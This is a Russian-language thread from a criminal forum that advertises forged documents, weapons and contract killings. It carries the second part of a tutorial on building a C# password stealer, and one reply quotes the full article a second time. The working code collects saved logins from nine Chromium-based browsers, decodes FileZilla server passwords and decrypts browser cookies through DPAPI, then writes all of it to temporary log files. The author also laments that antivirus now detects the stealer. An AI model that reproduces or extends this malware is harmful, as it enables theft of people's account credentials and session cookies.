Что нового
Теневой форум

Добро пожаловать на FSELL- крупнейший теневой форум. У нас Вы сможете найти огромное количество заработка в интернете, купить паспорт, ксиву, оружие, куча многих товаров и услуг, в виде пробива, взлома, нанять киллера. Все это Вы найдете на нашем форуме! Не пренебрегайте услугами Гарант-Сервиса, это убережет Вас от мошенников.

[Авторская статья] Пишем стиллер на C#. Часть 2.

Allkatraz

Member
Первая часть статьи : https://moneymake.pw/threads/3139/
Предисловие

Приветствую всех, вот и наконец-то подъехала вторая часть по этой статье. Честно говоря, я ожидал, что прошлая моя статья наберет побольше симпатий, поэтому я не особо торопился с написанием второй части. Но увидев тред с продажей одного стиллера ( https://moneymake.pw/threads/2964/ ), у меня появилась мотивация написать вторую статью. Увидев функционал я немного удивился, какую цену он запрашивает. Давайте посмотрим, какой функционал он имеет, и сделаем такой же.

Экшон
Такс, начнем с этих 10 браузеров. Ну в этом ничего сложного нету, т.к. все они на движке хромиум. Открываем в Visual Studio наш проект. Хром, яндекс и опера у нас есть, добавим браузеры Vivaldi, Kometa, Orbitum, Comodo, Amigo, Torch. Про браузер FreeU мало инфы, но я уверен, что он тоже на том же движке. Изменяем добавляем в массив browser_paths новые браузеры :
Код:
string[] browser_paths = {
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Vivaldi\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Kometa\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Orbitum\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Comodo\Dragon\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Amigo\User\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Torch\User Data\Default\Login Data"
            };
Так, с этим мы справились, идем дальше. Этот стиллер также ворует данные FileZilla. Создадим класс FileZilla и добабвляем в класс FIleZilla следующий метод :
Код:
public static string GetFilezilla()
           {
            string data = "";
            try
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml";
                if (File.Exists(path))
                {              
                    using (FileStream fs = new FileStream(path, FileMode.Open))
                    {
                        StreamReader sr = new StreamReader(fs);
                        Regex regex1 = new Regex("<Host>(.*)</Host>");
                        Regex regex2 = new Regex("<User>(.*)</User>");
                        Regex regex3 = new Regex("<Pass encoding=\"base64\">(.*)</Pass>");
                        string host = String.Empty;
                        string usr = String.Empty;
                        string pass = String.Empty;
                        string input;
                        while ((input = sr.ReadLine()) != null)
                        {
                            Match match1 = regex1.Match(input);
                            Match match2 = regex2.Match(input);
                            Match match3 = regex3.Match(input);
                            if (match1.Groups[1].ToString() != "")
                                host = match1.Groups[1].ToString();
                            if (match2.Groups[1].ToString() != "")
                                usr = match2.Groups[1].ToString();
                            if (match3.Groups[1].ToString() != "")
                                pass = Encoding.UTF8.GetString(Convert.FromBase64String(match3.Groups[1].ToString()));
                            if (!String.IsNullOrWhiteSpace(host) && !String.IsNullOrWhiteSpace(usr) && !String.IsNullOrWhiteSpace(pass))
                            {
                                data += "==================\r\n";
                                data += host + " | " + usr + " : " + pass + "\r\n";
                                data += "==================\r\n";
                                host = String.Empty;
                                usr = String.Empty;
                                pass = String.Empty;
                            }
                        }
                        sr.Close();
                    }
                }
            } catch { }
            return data;
        }
В самое начало этого класса добавим необходимые зависимости :
Код:
using System;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
И добавим в Program.cs эту строчку. Я её добавлю после записи паролей в файл :
Код:
content = FileZilla.GetFilezilla();
File.WriteAllText(Path.GetTempPath() + @"log\FileZilla.txt", content);
Осталось лишь добавить получение печенек ( cookies ). Создадим класс Cookies и вставим в класс Cookies метод ReadCookies :
Код:
static public IEnumerable<Tuple<string, string, string>> ReadCookies(string dbPath)
            {
            if (File.Exists(Path.GetTempPath() + @"log\Cookies"))
            {
                File.Delete(Path.GetTempPath() + @"log\Cookies");
            }
            File.Copy(dbPath, Path.GetTempPath() + @"log\Cookies");
            dbPath = Path.GetTempPath() + @"log\Cookies";
            var connectionString = "Data Source=" + dbPath + ";pooling=false";
            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {


                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }
Добавим в самый конец класса необходимые зависимости :
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
Так, теперь переходим в Program.cs и добавим массив строк cookies_paths, в котором будут храниться пути до файлов с печеньками :
Код:
string[] cookies_paths = {
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Vivaldi\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Kometa\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Orbitum\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Comodo\Dragon\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Amigo\User\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Torch\User Data\Default\Cookies"
            };
Добавим еще и этот код :
Код:
string content_cook = "";
      foreach (string c in cookies_paths)
            {
                var cook = Cookies.ReadCookies(c);
                if (File.Exists(c))                   // если файл с паролями существует, то выполняем следующие действия
                {
                    foreach (var item in cook)
                    {
                        if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                        {
                            content_cook += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
                            content_cook += "==================\r\n";
                        }
                    }
                }
            }
            if (File.Exists(Path.GetTempPath() + @"log\Cookies"))
            {
                File.Delete(Path.GetTempPath() + @"log\Cookies");
            }
            File.WriteAllText(Path.GetTempPath() + @"log\Cookies.txt", content_cook);
Запускаем и видим результат :
https://prnt.sc/kmhiye
Собственно говоря, на этом всё. И да, стиллер палится касперским, какой-то урод, видимо, слил на вирустотал. Пожалуйста, никогда не сливайте файлы на вирустотал.

Подведем итоги
Я считаю, что этот стиллер пока что не стоит своих денег, так как функционал его достаточно простой и небольшой. Стиллер написан на Python, поэтому не исключаю того, что у него есть зависимости. Но если кодер его доработает, добавит еще какие-то полезные функции + добавит стиллинг паролей из браузеров на движке Gecko (например Mozilla Firefox), то получится весьма годный продукт.
Третья статья выйдет если эта наберет столько же или больше лайков, чем предыдущая. Если будут вопросы, то пишите.
 
Последнее редактирование:

Allkatraz

Member
В код добавляются какая-та лабуда ( [/B] и ). Я убираю её, она снова появляется -_- . Когда будете писать код, не забудьте эту фигню удалить.
UPD : уже убрал
 
Последнее редактирование:

pers1981

New Member
Первая часть статьи : https://moneymake.pw/threads/3139/
Предисловие

Приветствую всех, вот и наконец-то подъехала вторая часть по этой статье. Честно говоря, я ожидал, что прошлая моя статья наберет побольше симпатий, поэтому я не особо торопился с написанием второй части. Но увидев тред с продажей одного стиллера ( https://moneymake.pw/threads/2964/ ), у меня появилась мотивация написать вторую статью. Увидев функционал я немного удивился, какую цену он запрашивает. Давайте посмотрим, какой функционал он имеет, и сделаем такой же.

Экшон
Такс, начнем с этих 10 браузеров. Ну в этом ничего сложного нету, т.к. все они на движке хромиум. Открываем в Visual Studio наш проект. Хром, яндекс и опера у нас есть, добавим браузеры Vivaldi, Kometa, Orbitum, Comodo, Amigo, Torch. Про браузер FreeU мало инфы, но я уверен, что он тоже на том же движке. Изменяем добавляем в массив browser_paths новые браузеры :
Код:
string[] browser_paths = {
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Vivaldi\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Kometa\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Orbitum\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Comodo\Dragon\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Amigo\User\User Data\Default\Login Data",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Torch\User Data\Default\Login Data"
            };
Так, с этим мы справились, идем дальше. Этот стиллер также ворует данные FileZilla. Создадим класс FileZilla и добабвляем в класс FIleZilla следующий метод :
Код:
public static string GetFilezilla()
           {
            string data = "";
            try
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml";
                if (File.Exists(path))
                {             
                    using (FileStream fs = new FileStream(path, FileMode.Open))
                    {
                        StreamReader sr = new StreamReader(fs);
                        Regex regex1 = new Regex("<Host>(.*)</Host>");
                        Regex regex2 = new Regex("<User>(.*)</User>");
                        Regex regex3 = new Regex("<Pass encoding=\"base64\">(.*)</Pass>");
                        string host = String.Empty;
                        string usr = String.Empty;
                        string pass = String.Empty;
                        string input;
                        while ((input = sr.ReadLine()) != null)
                        {
                            Match match1 = regex1.Match(input);
                            Match match2 = regex2.Match(input);
                            Match match3 = regex3.Match(input);
                            if (match1.Groups[1].ToString() != "")
                                host = match1.Groups[1].ToString();
                            if (match2.Groups[1].ToString() != "")
                                usr = match2.Groups[1].ToString();
                            if (match3.Groups[1].ToString() != "")
                                pass = Encoding.UTF8.GetString(Convert.FromBase64String(match3.Groups[1].ToString()));
                            if (!String.IsNullOrWhiteSpace(host) && !String.IsNullOrWhiteSpace(usr) && !String.IsNullOrWhiteSpace(pass))
                            {
                                data += "==================\r\n";
                                data += host + " | " + usr + " : " + pass + "\r\n";
                                data += "==================\r\n";
                                host = String.Empty;
                                usr = String.Empty;
                                pass = String.Empty;
                            }
                        }
                        sr.Close();
                    }
                }
            } catch { }
            return data;
        }
В самое начало этого класса добавим необходимые зависимости :
Код:
using System;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
И добавим в Program.cs эту строчку. Я её добавлю после записи паролей в файл :
Код:
content = FileZilla.GetFilezilla();
File.WriteAllText(Path.GetTempPath() + @"log\FileZilla.txt", content);
Осталось лишь добавить получение печенек ( cookies ). Создадим класс Cookies и вставим в класс Cookies метод ReadCookies :
Код:
static public IEnumerable<Tuple<string, string, string>> ReadCookies(string dbPath)
            {
            if (File.Exists(Path.GetTempPath() + @"log\Cookies"))
            {
                File.Delete(Path.GetTempPath() + @"log\Cookies");
            }
            File.Copy(dbPath, Path.GetTempPath() + @"log\Cookies");
            dbPath = Path.GetTempPath() + @"log\Cookies";
            var connectionString = "Data Source=" + dbPath + ";pooling=false";
            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {


                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }
Добавим в самый конец класса необходимые зависимости :
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
Так, теперь переходим в Program.cs и добавим массив строк cookies_paths, в котором будут храниться пути до файлов с печеньками :
Код:
string[] cookies_paths = {
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Vivaldi\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Kometa\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Orbitum\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Comodo\Dragon\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Amigo\User\User Data\Default\Cookies",
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Torch\User Data\Default\Cookies"
            };
Добавим еще и этот код :
Код:
string content_cook = "";
      foreach (string c in cookies_paths)
            {
                var cook = Cookies.ReadCookies(c);
                if (File.Exists(c))                   // если файл с паролями существует, то выполняем следующие действия
                {
                    foreach (var item in cook)
                    {
                        if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                        {
                            content_cook += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
                            content_cook += "==================\r\n";
                        }
                    }
                }
            }
            if (File.Exists(Path.GetTempPath() + @"log\Cookies"))
            {
                File.Delete(Path.GetTempPath() + @"log\Cookies");
            }
            File.WriteAllText(Path.GetTempPath() + @"log\Cookies.txt", content_cook);
Запускаем и видим результат :
https://prnt.sc/kmhiye
Собственно говоря, на этом всё. И да, стиллер палится касперским, какой-то урод, видимо, слил на вирустотал. Пожалуйста, никогда не сливайте файлы на вирустотал.

Подведем итоги
Я считаю, что этот стиллер пока что не стоит своих денег, так как функционал его достаточно простой и небольшой. Стиллер написан на Python, поэтому не исключаю того, что у него есть зависимости. Но если кодер его доработает, добавит еще какие-то полезные функции + добавит стиллинг паролей из браузеров на движке Gecko (например Mozilla Firefox), то получится весьма годный продукт.
Третья статья выйдет если эта наберет столько же или больше лайков, чем предыдущая. Если будут вопросы, то пишите.
Дай ссылку на Visual Studio
 

iExploit

%USERNAME%
Продвинутый
Дай ссылку на Visual Studio
:Think::Think::Think:
bnKQmFh.png
 

Domitori

МЕСТНЫЙ
а есть программа на линукс, подобная висуал студио? а точнее на kali linux.
 
Вверх